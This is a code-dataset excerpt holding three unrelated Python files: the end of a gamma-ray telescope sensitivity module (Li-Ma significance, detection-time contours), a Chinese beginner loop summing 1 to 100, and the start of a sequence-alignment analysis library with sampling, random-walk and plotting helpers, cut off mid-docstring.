n_levels=9,\n linestyles='dashed',\n linewidths=1,\n colors='k',\n t_obs=None,\n ):\n '''\n This function puts the times until detection into\n a plot in phase space (f_0, Gamma) for given telescope\n analysis parameters\n '''\n pixels_per_line = np.shape(f_0_mesh)[0]\n\n t_obs_s = np.array([[\n t_obs_li_ma_criterion(\n # calculate the sigma_s from c(Gamma)*f_0\n f_0_mesh[i, j] *\n effective_area_averaged_flux(\n gamma_mesh[i, j],\n e_0,\n a_eff_interpol),\n sigma_bg,\n alpha)/3600.\n for j in range(pixels_per_line)] for i in range(pixels_per_line)])\n\n # if there is no predefined info about t_obs\n # in prediction mode -> get it from the t_obs mesh\n print_solid = True\n if t_obs is None:\n print_solid = False\n t_obs = np.median(t_obs_s.flatten())\n else:\n t_obs = t_obs/3600.\n\n levels = np.array([t_obs/((1.5)**(int(n_levels/2)-i))\n for i in range(n_levels)])\n limit_index = np.where(\n np.isclose(levels, t_obs)\n )[0][0]\n linestyles = [linestyles for i in range(n_levels)]\n if print_solid:\n linestyles[limit_index] = 'solid'\n linewidths = [linewidths for i in range(n_levels)]\n if print_solid:\n linewidths[limit_index] = 2\n\n cset = plt.contour(\n f_0_mesh,\n gamma_mesh,\n t_obs_s,\n levels=levels,\n linestyles=linestyles,\n linewidths=linewidths,\n colors=colors\n )\n\n plt.clabel(cset, inline=True, fmt='%1.1e', fontsize=10)\n\n plt.title(\n 'time to detection in h, E$_0$={0:1.1e} TeV assuming power law'.\n format(e_0)\n )\n plt.xlabel('$f_0$ / [(cm$^2$ s TeV)$^{-1}$]')\n plt.ylabel('$\\\\Gamma$')\n return t_obs_s\n\n\ndef plot_contours_from_sample(\n samples,\n levels=None,\n smooth=False\n ):\n '''\n This function draws a contour plot into the current\n figure showing selected highest density 2D confidence intervals\n The standard is: 1 sigma, 2 sigma, 3 sigma in 2D\n '''\n\n # one, two, and three sigma in 2D\n if levels is None:\n levels = 1 - np.exp(-0.5*(np.arange(1, 3.1, 1)**2))\n\n axis = plt.gca()\n x_lim = axis.get_xlim()\n y_lim = axis.get_ylim()\n\n corner.hist2d(\n samples[:, 0],\n samples[:, 1],\n plot_datapoints=False,\n plot_density=False,\n no_fill_contours=True,\n ax=axis,\n smooth=smooth,\n levels=levels)\n\n axis.set_xlim(x_lim)\n axis.set_ylim(y_lim)\n\n\ndef plot_power_law(\n f_0,\n gamma,\n e_0,\n energy_range,\n fmt='k:',\n label='',\n alpha_plot=0.7\n ):\n '''\n This function generates a power law plot in\n the current figure\n '''\n e_x = 10**np.arange(\n np.log10(energy_range[0]),\n np.log10(energy_range[1])+0.05,\n 0.05)\n e_y = power_law(e_x, f_0, gamma, e_0=e_0)\n\n plt.plot(e_x, e_y, fmt, label=label, alpha=alpha_plot)\n plt.loglog()\n\n plt.xlabel(\"E / TeV\")\n plt.ylabel(\"dN/dE / [(cm$^2$ s TeV)$^{-1}$]\")\n\n\ndef plot_source_emission_spectrum_with_uncertainties(\n phasespace_samples,\n e_0,\n energy_range,\n label=''\n ):\n '''\n This function draws 100 power laws as an illustration for\n the source emission uncertainty\n '''\n f0_mc, gamma_mc = zip(*np.percentile(\n phasespace_samples,\n [16, 50, 84],\n axis=0)\n )\n\n for f_0, gamma in phasespace_samples[\n np.random.randint(len(phasespace_samples), size=100)\n ]:\n plot_power_law(\n f_0,\n gamma,\n e_0=e_0,\n energy_range=energy_range,\n fmt='k',\n alpha_plot=0.03\n )\n\n plot_power_law(\n f0_mc[1],\n gamma_mc[1],\n e_0=e_0,\n energy_range=energy_range,\n fmt='r',\n label=label,\n alpha_plot=0.8\n )\n\n\ndef integral_spectral_exclusion_zone(\n energy, lambda_lim, a_eff_interpol, t_obs, e_0\n ):\n '''\n This function returns the integral spectral exclusion zone value\n at one point in energy for given lambda_lim, a_eff_interpol, and t_obs\n '''\n f_0, gamma = integral_spectral_exclusion_zone_parameters(\n energy,\n lambda_lim,\n a_eff_interpol,\n t_obs,\n e_0\n )\n return power_law(energy, f_0, gamma, e_0)\n\n\ndef integral_spectral_exclusion_zone_parameters(\n energy,\n lambda_lim,\n a_eff_interpol,\n t_obs,\n e_0=1.\n ):\n '''\n This function calculates the integral spectral exclusion zone parameters\n f_0 and gamma at at a given energy in order to draw it into spectral plots.\n\n It is done by utilizing the Lagrangian results from the paper.\n '''\n gamma_calc = get_gamma_from_sensitive_energy(energy, a_eff_interpol)\n f_0_calc = get_ul_f_0(t_obs, lambda_lim, a_eff_interpol, e_0, gamma_calc)\n\n return f_0_calc, gamma_calc\n\n\ndef t_obs_li_ma_criterion(sigma_s, sigma_bg, alpha, threshold=5.):\n '''\n This function calculates the limit average time to detection,\n given a signal rate, background rate, and alpha\n '''\n estimated_rate_in_off = sigma_bg / alpha\n estimated_rate_in_on = sigma_s + sigma_bg\n\n t_obs_min = 0.\n t_obs_max = 36e16\n\n try:\n t_obs = brentq(lambda x: (\n li_ma_significance(\n estimated_rate_in_on*x,\n estimated_rate_in_off*x,\n alpha\n ) - threshold\n ), t_obs_min, t_obs_max)\n except ValueError:\n raise ValueError('The time to detection could not be calculated. '\n 'This can be the case when sigma_bg is overestimated.'\n ' Please check that your stated background rate'\n ' is actually given as: sigma_bg / s')\n\n return t_obs\n\n\ndef sigma_lim_li_ma_criterion(sigma_bg, alpha, t_obs, threshold=5.):\n '''\n This function returns the limit signal count rate\n using the LiMa criterion\n '''\n estimated_bg_counts_in_off = sigma_bg * t_obs / alpha\n estimated_bg_counts_in_on = sigma_bg * t_obs\n\n sigma_lim_min = 0.\n sigma_lim_max = 1e5 # more than 100k gamma / s is likely unrealistic\n\n sigma_lim = brentq(lambda x: (\n li_ma_significance(\n x*t_obs + estimated_bg_counts_in_on,\n estimated_bg_counts_in_off,\n alpha\n ) - threshold\n ), sigma_lim_min, sigma_lim_max)\n\n # implement the low statistics limit which most authors use:\n # \"at least 10 excess counts\"\n if sigma_lim*t_obs < 10.:\n sigma_lim = 10./t_obs\n\n return sigma_lim\n\n\ndef li_ma_significance(n_on, n_off, alpha):\n '''\n A function to calculate the significance, according to :\n\n Li, T-P., and Y-Q. Ma.\n \"Analysis methods for results in gamma-ray astronomy.\"\n The Astrophysical Journal 272 (1983): 317-324.\n '''\n n_on = np.array(n_on, copy=False, ndmin=1)\n n_off = np.array(n_off, copy=False, ndmin=1)\n\n with np.errstate(divide='ignore', invalid='ignore'):\n p_on = n_on / (n_on + n_off)\n p_off = n_off / (n_on + n_off)\n\n t1 = n_on * np.log(((1 + alpha) / alpha) * p_on)\n t2 = n_off * np.log((1 + alpha) * p_off)\n\n ts = (t1 + t2)\n significance = np.sqrt(ts * 2)\n\n significance[np.isnan(significance)] = 0\n significance[n_on < alpha * n_off] = 0\n\n return significance\n","repo_name":"mahnen/gamma_limits_sensitivity","sub_path":"gamma_limits_sensitivity/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":32293,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"68"} +{"seq_id":"34010895731","text":"\"\"\"\n需求: 1-100 累加 -- 1+2 ... + 100 结果:打印结果\n1. 准备加法运算的数据: 1-100 增量为1\n2. 准备一个变量: 保存结果\n3. 循环加法运算\n4. 输入结果\n5. 验证结果正确性\n\"\"\"\n\n# 准备数据\ni = 1\n\n# 结果变量\nresult = 0\n\n#循环\nwhile i <= 100:\n # 加法运算 前两个数的结果 + 第三个数 -- 每次更新result\n result = result + i\n i = i + 1\nprint(result)","repo_name":"SYubaby/Pythonstudy","sub_path":"D4_03_While3.py","file_name":"D4_03_While3.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"16267583026","text":"import numpy as np\nimport pandas as pd\nimport networkx as nx\nfrom matplotlib import pyplot as plt\nfrom sklearn.cluster import AgglomerativeClustering\nfrom scipy.cluster.hierarchy import dendrogram\nfrom mpl_toolkits.basemap import Basemap as Basemap\n\n__version__ = \"0.1.5\"\n\ndef sim_func(a,b):\n \"\"\"\n ## Description:\n \n The default similarity function to be passed in `seq_align_two_vars.propogate_matrix_global_two_vars` and `seq_align_two_vars.propogate_matrix_local_two_vars` functions. \n \n ## Args:\n \n `a`: The first variable\n \n `b`: The second variable\n \n ## Returns:\n \n **1** if two varaibles are the same\n \n **-1** if two varaibles are not the same\n \n ## Example:\n \n ```python\n sim_func(\"a\", \"b\")\n ```\n \n \"\"\"\n if a == b:\n return 1\n else:\n return -1\n \ndef distance(val):\n \"\"\"\n ## Description:\n \n The default function to convert the score calculated by `seq_align_two_vars.propogate_matrix_global_two_vars` or `seq_align_two_vars.propogate_matrix_local_two_vars` to non-negative value in order for distance, cluster, and later analysis. In those functions, if two varaibles are close to each other, they will assign a positive score. If two varaibles are different from each other, they will assign a very negative score. So if the value > 0, we will set the distance between two observations to 0. If the value <= 0, we will take the negative value as their distance.\n \n ## Args:\n \n `val`: The score need to be converted to non-negative value\n \n ## Returns:\n \n **0** if `val` > 0\n \n **-val** if `val` <= 0\n \n ## Example:\n \n ```python\n >>> distance(2)\n >>> 0\n >>> distance(-5)\n >>> 5\n ```\n \n \"\"\"\n if val > 0:\n return 0\n else:\n return -val\n \n# def pretty_print(matrix):\n# print('\\n'.join(['\\t'.join([str(cell) for cell in row]) for row in matrix]))\n# print('\\n')\n \n \n# examples:\n#citation networks\n\n# To create data:\n# 1. use make_sample\n# 2. read in datafile\n# 3. input networks, generate random walk data\n\n# return: Dataframe with each row is an observation\n# length > 3\ndef make_sample(length, category, size, var = 2, prob = None, distribution = np.random.uniform, var_len=False, seed = None, normalized = True):\n \"\"\"\n ## Description:\n \n This function allows users to create randomly generated dataset for analysis. User need to pass in the length of each observation, the category for each observation, the number of observations. User can pass addition information like number of variable in each observation, like time, distance, the probability distribution for the category, the distribution for variable, and whether the length of each observation is constant or not. More details explained in the Args section.\n \n ## Args:\n `length`: The maximum length of each observation, required > 3\n \n `category`: A list of category in the dataset\n \n `size`: The number of observations\n \n `var`: default 2, the number of varaible in each observation. Default is set to 2 varaibles meaning time and distance\n \n `prob`: default None, a list of probabilty sum up to 1 for the category list you pass in. Default None meaning each category have the same probabilty to be chosen\n \n `distribution`: default `numpy.random.uniform`, the numpy probabilty distribution function to be used to create random value for the varaibale in each observation. Other possible value like `numpy.random.normal`, `numpy.random.exponential` and so on\n \n `var_len`: default False, the length of each observation if fixed or not. If True, then the length of each observation is a random integer from 3 to `length`. If False, then the length of each observation is `length`\n \n `seed`: default None, the seed for numpy random generator for reproduction of experiment\n \n `normalized`: default True, normalized all the varaible in the dataframe using `normalize` function\n \n ## Returns:\n \n A pandas DataFrame object with columns [category, var1, var2, ...,] and with rows representing each observation.\n \n \"\"\"\n np.random.seed(seed)\n sample = []\n leng = length\n for k in range(size):\n if var_len == True:\n leng = np.random.randint(3, length)\n cate_lst = []\n lst = [cate_lst]\n for i in range(var):\n x = distribution(size = leng + 1)\n lst.append(x)\n\n for i in range(leng):\n if prob != None:\n cur = category[np.random.choice(np.arange(len(category)), p=prob)]\n else:\n cur = category[np.random.randint(0, len(category))]\n cate_lst.append(cur)\n sample.append(lst)\n if normalized == True:\n return normalize(pd.DataFrame(sample, columns= [\"category\"] + [str(i+1) for i in range(var)]))\n else:\n return pd.DataFrame(sample, columns= [\"category\"] + [str(i+1) for i in range(var)])\n\ndef read_data(filename, column_name, category_index = 0, normalized = True):\n \"\"\"\n ## Description:\n \n This function read the data and process the data into the correct format that can be passed to further analysis. The file currently allowed is csv, json, excel, parquet.gzip.\n \n ## Args:\n \n `filename`: The name of the file\n \n `column_name`: A list contain The name of the column need to be read in\n \n `category_index`: default 0, the index of the category column in the `column_name` list\n \n `normalized`: default True, normalized all the varaible in the dataframe using `normalize` function\n \n ## Returns:\n \n A pandas DataFrame object with columns [category, var1, var2, ...,] and with rows representing each observation.\n \n \"\"\"\n if \"parquet.gzip\" in filename:\n df = pd.read_parquet(filename, columns = column_name)\n elif \"csv\" in filename:\n df = pd.read_csv(filename, names= column_name)\n elif \"json\" in filename:\n df = pd.read_json(filename, names= column_name)\n elif \"excel\" in filename:\n df = pd.read_excel(filename, names= column_name)\n else:\n df = pd.read_data(filename, names= column_name)\n dct = {}\n count = 1\n for i in range(len(column_name)):\n if i == category_index:\n dct[column_name[i]] = \"category\"\n else:\n dct[column_name[i]] = count\n count += 1\n df.rename(columns = dct, inplace=True)\n df = df[['category'] + [ col for col in df.columns if col != 'category']]\n if normalized == True:\n return normalize(df)\n else:\n return df\n\n \ndef geo_read_data(filename, column_name, loc_index = 0, category_index = 1, normalized = True):\n \"\"\"\n ## Description:\n \n For visualizing geolocation of sequence movement on the map. This function read the data and process the data into the correct format that can be passed to further analysis. The file currently allowed is csv, json, excel, parquet.gzip.\n \n ## Args:\n \n `filename`: The name of the file\n \n `column_name`: A list contain The name of the column need to be read in\n \n `loc_index`: default 0, the index of the location column in the `column_name` list\n \n `category_index`: default 1, the index of the category column in the `column_name` list\n \n `normalized`: default True, normalized all the varaible in the dataframe using `normalize` function\n \n ## Returns:\n \n A pandas DataFrame object with columns [category, var1, var2, ...,] and with rows representing each observation.\n \n \"\"\"\n if \"parquet.gzip\" in filename:\n df = pd.read_parquet(filename, columns = column_name)\n elif \"csv\" in filename:\n df = pd.read_csv(filename, names= column_name)\n elif \"json\" in filename:\n df = pd.read_json(filename, names= column_name)\n elif \"excel\" in filename:\n df = pd.read_excel(filename, names= column_name)\n else:\n df = pd.read_data(filename, names= column_name)\n dct = {}\n count = 1\n for i in range(len(column_name)):\n if i == category_index:\n dct[column_name[i]] = \"category\"\n elif i == loc_index:\n dct[column_name[i]] = \"location\"\n else:\n dct[column_name[i]] = count\n count += 1\n df.rename(columns = dct, inplace=True)\n df = df[['location', 'category'] + [ col for col in df.columns if col != 'category' and col != 'location']]\n if normalized == True:\n return normalize(df)\n else:\n return df\n\n#normalized \ndef normalize(df):\n \"\"\"\n ## Description:\n \n This function is a helper function to normalize the processed dataframe from `make_sample`, `read_data`, or `random_walk`. It normalized all the columns except category column to make all the value between 0 and 1. It find the maximum value and minimum value from each column, then for each entry x, perform (x - min) / (max - min).\n \n ## Args:\n \n `df`: the dataframe processed by `make_sample`, `read_data`, or `random_walk`\n \n ## Returns:\n \n A pandas DataFrame object with columns [category, var1, var2, ...,] and with rows representing each observation. Each value in every column have been normalized between 0 and 1.\n \n \"\"\"\n for i in df.columns:\n if i != \"category\" and i != \"location\":\n min_ = 100000000000000000\n max_ = 0\n for j, row in df.iterrows():\n for num in row[i]:\n if num > max_:\n max_ = num\n if num < min_:\n min_ = num\n lst = []\n for j, row in df.iterrows():\n tmp = []\n for num in row[i]:\n tmp.append(round((num - min_) / (max_ - min_), 4))\n lst.append(tmp)\n \n df[i] = lst\n return df\n\n#only work with random variable now\n\n#weighted edge and node network\n#logistic network\ndef random_walk(G, walk_len, count, var=2, distribution=np.random.uniform, distance_matrix = None, seed = None, normalized = True):\n \"\"\"\n ## Description:\n \n This function requires a networkx network and the length of the walk, and the number of observations to create a bunch of random walk on the network user passed in. Then it randomly generate the variable data base on distribution function user passed in.\n \n ## Args:\n \n `G`: network passed in as networkx format\n \n `walk_len`: The maximum length of each random walk\n \n `count`: The number of observations\n \n `var`: default 2, the number of varaible in each observation. Default is set to 2 varaibles meaning time and distance\n \n `distribution`: default `numpy.random.uniform`, the numpy probabilty distribution function to be used to create random value for the varaibale in each observation. Other possible value like `numpy.random.normal`, `numpy.random.exponential` and so on\n \n `distance_matrix`: default None, randomly generate the distance matrix for the distance between every node in the network\n \n `seed`: default None, the seed for numpy random generator for reproduction of experiment\n \n `normalized`: default True, normalized all the varaible in the dataframe using `normalize` function\n \n ## Returns:\n \n A pandas DataFrame object with columns [category, var1, var2, ...,] and with rows representing each observation. Each value in every column have been normalized between 0 and 1.\n \n \"\"\"\n np.random.seed(seed)\n if distance_matrix == None:\n distance_matrix = np.random.random((len(list(G.nodes)), len(list(G.nodes))))\n distance_matrix = (distance_matrix + distance_matrix.T) / 2\n walks = []\n for i in range(count):\n cur_node = np.random.choice(list(G.nodes))\n lst = [[cur_node]]\n x = []\n for j in range(1, walk_len):\n neigh = list(G.neighbors(cur_node))\n if neigh:\n neighbor = np.random.choice(neigh) # choose one random neighbor\n lst[0].append(neighbor) # add it to walk\n x.append(distance_matrix[cur_node][neighbor])\n cur_node = neighbor # save it to cur_node to continue from it next iteration\n else:\n break\n for j in range(var-1):\n y = distribution(size = len(lst[0]) - 1)\n lst.append(y)\n lst.append(x)\n walks.append(lst)\n if normalized == True:\n return normalize(pd.DataFrame(walks, columns= [\"category\"] + [str(i+1) for i in range(var)]))\n else:\n return pd.DataFrame(walks, columns= [\"category\"] + [str(i+1) for i in range(var)])\n\ndef get_cmap(n, name='hsv'):\n '''\n ## Description:\n \n helper function for the `draw`, use to generate color map based on index and colormap name.\n \n ## Args:\n \n `n`: number of colors wanted\n \n `name`: default hsv, must be a standard matplotlib colormap name\n \n ## Returns:\n \n a function that maps each index in 0, 1, ..., n-1 to a distinct RGB color\n '''\n return plt.cm.get_cmap(name, n)\n\n#TODO: edge length not thickness\ndef draw(df, sample, color = \"hsv\"):\n '''\n ## Description:\n \n Using networkx to visualize the observation with two varaibles representing time and distance. The node size is proportional to time and the edge thickness is proportional to distance. Every category is represented by a different color.\n \n ## Args:\n \n `df`: the dataframe processed by `make_sample`, `read_data`, or `random_walk`\n \n `sample`: a list of index of the observation wanted to visualize\n \n `color`: default hsv, can be either a standard matplotlib colormap name or a dict specifying category and corresponding color. e.g. {\"A\": \"r\", \"B\": \"y\", \"C\": \"g\", \"D\":\"b\"}\n \n ## Returns:\n \n None. Plot a networkx graph.\n\n '''\n # only work for var = 2, best suitable to show data inteprated as time and dis\n # color example: {\"A\": \"r\", \"B\": \"y\", \"C\": \"g\", \"D\":\"b\"} or cmap\n tmp = []\n for s in sample:\n for i in df.loc[s].iloc[0]:\n if i not in tmp:\n tmp.append(i)\n \n if isinstance(color, dict) == False:\n cmap = get_cmap(len(tmp)+1, name = color)\n color = {}\n for i in range(len(tmp)):\n color[tmp[i]] = cmap(i)\n \n for s in sample:\n G=nx.DiGraph()\n X = df.loc[s].iloc[0]\n X1 = df.loc[s][1]\n X2 = df.loc[s][2]\n\n plt.figure(1,figsize=(2.5 * len(X),2)) \n\n node_size = []\n for i in range(len(X) - 1):\n node_size.append(1000 + 10000 * float(X1[i]))\n node_size.append(1000)\n\n node_color = []\n width = []\n sum_dis = 0\n for i in range(len(X)):\n if i == 0:\n G.add_node(i, pos = (0,1))\n elif i != len(X) - 1:\n diss = (np.sqrt(node_size[i]/31400)-np.sqrt(2000/31400) + np.sqrt(node_size[i-1]/31400)-np.sqrt(2000/31400))**2\n sum_dis = sum_dis + diss + 1\n G.add_node(i, pos = (sum_dis,1))\n else:\n G.add_node(i, pos = (sum_dis+1,1))\n node_color.append(color[X[i]])\n\n edge_labels = {}\n for i in range(len(X) - 1):\n G.add_edge(i, i+1, len= 1)\n edge_labels[(i, i+1)] = round(float(X2[i]),2)\n width.append(0.2+float(X2[i]) * 10)\n pos=nx.get_node_attributes(G,'pos')\n\n labeldict = {}\n\n for i in range(len(X) - 1):\n labeldict[i] = str(X[i]) + \"\\n\" + str(round(float(X1[i]),2))\n labeldict[i+1] = X[i+1]\n\n nx.draw(G,pos, labels = labeldict, node_size = node_size, width = width, node_color = node_color, edge_color = 'b')\n\n nx.draw_networkx_edge_labels(G, pos, edge_labels=edge_labels)\n\n plt.show()\n \ndef geo_draw(df, sample, df_loc, use_map = False, map1 = None, lllon=-82,\n lllat=39,\n urlon=-74,\n urlat=43, color = \"hsv\"):\n '''\n ## Description:\n \n \n Using networkx to visualize the observation with two varaibles representing time and distance. The node size is proportional to time and the edge thickness is proportional to distance. Every category is represented by a different color. Also show the nodes on geolocally on map.\n \n ## Args:\n \n `df`: the dataframe processed by `make_sample`, `read_data`, or `random_walk`\n \n `sample`: a list of index of the observation wanted to visualize\n \n `df_loc`: the latitude and longtidue for all the location, stored in dataframe\n \n `use_map`: default False, you can pass your own map to plot on\n \n `map1`: your own map\n \n `lllon`: left lower longtitude\n \n `lllat`: left lower latitude\n \n `urlon`: upper right longtitude\n \n `urlat`: upper right latitude\n \n `color`: default hsv, can be either a standard matplotlib colormap name or a dict specifying category and corresponding color. e.g. {\"A\": \"r\", \"B\": \"y\", \"C\": \"g\", \"D\":\"b\"}\n \n ## Returns:\n \n None. Plot a networkx graph.\n\n '''\n # only work for var = 2, best suitable to show data inteprated as time and dis\n # color example: {\"A\": \"r\", \"B\": \"y\", \"C\": \"g\", \"D\":\"b\"} or cmap\n tmp = []\n for s in sample:\n for i in df.loc[s].iloc[1]:\n if i not in tmp:\n tmp.append(i)\n \n if isinstance(color, dict) == False:\n cmap = get_cmap(len(tmp)+1, name = color)\n color = {}\n for i in range(len(tmp)):\n color[tmp[i]] = cmap(i)\n \n for s in sample:\n G=nx.DiGraph()\n \n loca = df.loc[s].iloc[0]\n X = df.loc[s].iloc[1]\n X1 = df.loc[s][1]\n X1.append(0)\n X2 = df.loc[s][2]\n\n plt.figure(1,figsize=(2.5 * len(X),2)) \n\n node_size = []\n for i in range(len(X) - 1):\n node_size.append(1000 + 10000 * float(X1[i]))\n node_size.append(1000)\n\n node_color = []\n width = []\n sum_dis = 0\n for i in range(len(X)):\n if i == 0:\n G.add_node(i, pos = (0,1))\n elif i != len(X) - 1:\n diss = (np.sqrt(node_size[i]/31400)-np.sqrt(2000/31400) + np.sqrt(node_size[i-1]/31400)-np.sqrt(2000/31400))**2\n sum_dis = sum_dis + diss + 1\n G.add_node(i, pos = (sum_dis,1))\n else:\n G.add_node(i, pos = (sum_dis+1,1))\n node_color.append(color[X[i]])\n\n edge_labels = {}\n for i in range(len(X) - 1):\n G.add_edge(i, i+1, len= 1)\n edge_labels[(i, i+1)] = round(float(X2[i]),2)\n width.append(0.2+float(X2[i]) * 10)\n pos=nx.get_node_attributes(G,'pos')\n\n labeldict = {}\n\n for i in range(len(X) - 1):\n labeldict[i] = str(X[i]) + \"\\n\" + str(round(float(X1[i]),2))\n labeldict[i+1] = X[i+1]\n\n nx.draw(G,pos, labels = labeldict, node_size = node_size, width = width, node_color = node_color, edge_color = 'b')\n\n nx.draw_networkx_edge_labels(G, pos, edge_labels=edge_labels)\n\n plt.show()\n \n if use_map == False:\n m = Basemap(\n projection='merc',\n llcrnrlon=lllon,\n llcrnrlat=lllat,\n urcrnrlon=urlon,\n urcrnrlat=urlat,\n lat_ts=0,\n resolution='i',\n suppress_ticks=True)\n\n plt.figure(figsize=(12,12))\n\n pos={}\n node_color = []\n node_size = []\n\n G=nx.DiGraph()\n\n for i in range(len(X)):\n G.add_node(loca[i])\n lat = df_loc.loc[loca[i]][\"lat\"]\n lon = df_loc.loc[loca[i]][\"long\"]\n mx,my = m(lon, lat)\n pos[loca[i]] = (mx,my)\n\n for i in range(len(X) - 1):\n G.add_edge(loca[i], loca[i+1])\n\n for x in list(pos.keys()):\n node_color.append(color[X[np.where(np.array(loca) == x)[0][0]]])\n node_size.append(400 + 2000 * float(X1[np.where(np.array(loca) == x)[0][0]]))\n\n nx.draw_networkx(G,pos,node_color=node_color, node_size = node_size)\n\n # Now draw the map\n m.drawcountries()\n m.drawstates()\n m.drawrivers()\n m.bluemarble()\n plt.show()\n else:\n BBox = ((lllon,urlon,lllat,urlat))\n fig, ax = plt.subplots(figsize = (12,12))\n ax.imshow(map1,zorder=0, extent = BBox)\n\n pos={}\n node_color = []\n node_size = []\n\n G=nx.DiGraph()\n\n for i in range(len(X)):\n G.add_node(loca[i])\n lat = df_loc.loc[loca[i]][\"lat\"]\n lon = df_loc.loc[loca[i]][\"long\"]\n pos[loca[i]] = (lon, lat)\n\n for i in range(len(X) - 1):\n G.add_edge(loca[i], loca[i+1])\n\n for x in list(pos.keys()):\n node_color.append(color[X[np.where(np.array(loca) == x)[0][0]]])\n node_size.append(400 + 2000 * float(X1[np.where(np.array(loca) == x)[0][0]]))\n\n nx.draw_networkx(G,pos,node_color=node_color, node_size = node_size)\n\n plt.show()\n\n# def com_draw(df, lst, color = \"hsv\"):\n# '''\n# ## Description:\n \n# Functions allow drawing multiple observations at the same time using `draw` function.\n \n# ## Args:\n \n# `df`: dataframe processed by `normalize`\n \n# `lst`: the list of the index of the observations user wanted to visualize\n \n# `color`: default hsv, can be either a standard matplotlib colormap name or a dict specifying category and corresponding color. e.g. {\"A\": \"r\", \"B\": \"y\", \"C\": \"g\", \"D\":\"b\"}\n \n# ## Returns:\n \n# None. Plot a group of networkx graphs.\n\n# '''\n# for x in lst:\n# draw(df, x, color = color)\n \ndef propogate_matrix_global_two_vars(X, Y, X1, Y1, X2, Y2, ratio, gap_score, align_score, proportion):\n '''\n ## Description:\n \n The function calculates the similarity of two observations with two varaibles using global sequence alignment method.\n \n ## Args:\n \n `X`: first observation category column\n \n `Y`: second observation category column\n \n `X1`: first observation 1st variable column\n \n `Y1`: second observation 1st variable column\n \n `X2`: first observation 2nd variable column\n \n `Y2`: second observation 2nd varaible column\n \n `ratio`: value between 0 and 1, meaning the weight of the first variable in the similarity calculation. If ratio is 1, meaning we only use first variable. If ratio is 0, meaning we only use second variable. If ratio is in between, meaning the X/Y1 * ratio + X/Y2 * (1-ratio).\n \n `gap_score`: Constant value, meaning how much gap penalty give for sequence alignment\n \n `align_score`: The similarity function like `sim_func`, you can create your own similarity function and pass in\n \n `proportion`: The weight of the variable comparsion in the similarity score calculate, usual value 5, 10, 20\n \n ## Returns:\n \n Integer that represents the similarity value between these two observations\n \n ## Example:\n \n ```python\n propogate_matrix_global_two_vars(df.loc[i][\"category\"], df.loc[j][\"category\"], df.loc[i][\"1\"], df.loc[j][\"1\"], df.loc[i][\"2\"], df.loc[j][\"2\"], 0.5, 1, sim_func, 2)\n ```\n '''\n X1 = np.insert(X1, 0, 0)\n X2 = np.insert(X2, 0, 0)\n Y1 = np.insert(Y1, 0, 0)\n Y2 = np.insert(Y2, 0, 0)\n \n value_matrix = [[0 for x in range(len(Y) + 1)] for x in range(len(X) + 1)]\n source_matrix = [[[0, 0] for x in range(len(Y) + 1)] for x in range(len(X) + 1)]\n source_gap_score = [[0 for x in range(len(Y) + 1)] for x in range(len(X) + 1)]\n need_constant_gap = [[0 for x in range(len(Y) + 1)] for x in range(len(X) + 1)]\n \n need_constant_gap[0][0] = 1\n \n for j in range(len(Y)+1):\n for i in range(len(X)+1):\n if j == 0 and i == 0:\n continue\n # For the global approach, the first row and column involves the time penalties\n # of adding in a gap of a given length to the beginning of either sequence.\n elif j == 0:\n above_score = update_gap_two_vars(i - 1, j, source_matrix, X1, Y1, X2, Y2, ratio, source_gap_score, \"above\")\n above_value = value_matrix[i-1][j] - gap_score * need_constant_gap[i-1][j] + source_gap_score[i-1][j] * proportion - above_score[0] * proportion\n \n value_matrix[i][j] = above_value\n source_matrix[i][j] = [i - 1,j]\n source_gap_score[i][j] = above_score[0]\n need_constant_gap[i][j] = 0\n elif i == 0:\n left_score = update_gap_two_vars(i, j - 1, source_matrix, X1, Y1, X2, Y2, ratio, source_gap_score, \"left\")\n left_value = value_matrix[i][j-1] - gap_score * need_constant_gap[i][j-1] + source_gap_score[i][j-1] * proportion - left_score[0] * proportion\n \n value_matrix[i][j] = left_value\n source_matrix[i][j] = [i,j-1]\n source_gap_score[i][j] = left_score[0]\n need_constant_gap[i][j] = 0\n else:\n score = align_score(X[i-1], Y[j-1])\n \n diag_score = update_gap_two_vars(i-1, j-1, source_matrix, X1, Y1, X2, Y2, ratio, source_gap_score, \"diag\")\n diag_value = value_matrix[i-1][j-1] + score + source_gap_score[i-1][j-1] * proportion- diag_score[0] * proportion\n \n left_score = update_gap_two_vars(i, j-1, source_matrix, X1, Y1, X2, Y2, ratio, source_gap_score, \"left\")\n left_value = value_matrix[i][j-1] - gap_score * need_constant_gap[i][j-1] + source_gap_score[i][j-1] * proportion - left_score[0] * proportion\n \n above_score = update_gap_two_vars(i-1, j, source_matrix, X1, Y1, X2, Y2, ratio, source_gap_score, \"above\")\n above_value = value_matrix[i-1][j] - gap_score * need_constant_gap[i-1][j] + source_gap_score[i-1][j] * proportion - above_score[0] * proportion\n \n max_score = max(diag_value, left_value, above_value)\n value_matrix[i][j] = max_score\n if diag_value == max_score:\n source_matrix[i][j] = [i -1, j-1]\n source_gap_score[i][j] = 0\n need_constant_gap[i][j] = 1\n elif left_value == max_score:\n source_matrix[i][j] = [i,j-1]\n if left_score[1] or above_score[1]:\n source_gap_score[i][j] = 0\n need_constant_gap[i][j] = 1\n else:\n source_gap_score[i][j] = left_score[0]\n need_constant_gap[i][j] = 0\n else:\n source_matrix[i][j] = [i -1,j]\n if left_score[1] or above_score[1]:\n source_gap_score[i][j] = 0\n need_constant_gap[i][j] = 1\n else:\n source_gap_score[i][j] = above_score[0]\n need_constant_gap[i][j] = 0\n # pretty_print(value_matrix)\n return value_matrix[len(X)][len(Y)]\n\ndef propogate_matrix_local_two_vars(X, Y, X1, Y1, X2, Y2, ratio, gap_score, align_score, proportion):\n '''\n ## Description:\n \n The function calculates the similarity of two observations with two varaibles using local sequence alignment method.\n \n ## Args:\n \n `X`: first observation category column\n \n `Y`: second observation category column\n \n `X1`: first observation 1st variable column\n \n `Y1`: second observation 1st variable column\n \n `X2`: first observation 2nd variable column\n \n `Y2`: second observation 2nd varaible column\n \n `ratio`: value between 0 and 1, meaning the weight of the first variable in the similarity calculation. If ratio is 1, meaning we only use first variable. If ratio is 0, meaning we only use second variable. If ratio is in between, meaning the X/Y1 * ratio + X/Y2 * (1-ratio).\n \n `gap_score`: Constant value, meaning how much gap penalty give for sequence alignment\n \n `align_score`: The similarity function like `sim_func`, you can create your own similarity function and pass in\n \n `proportion`: The weight of 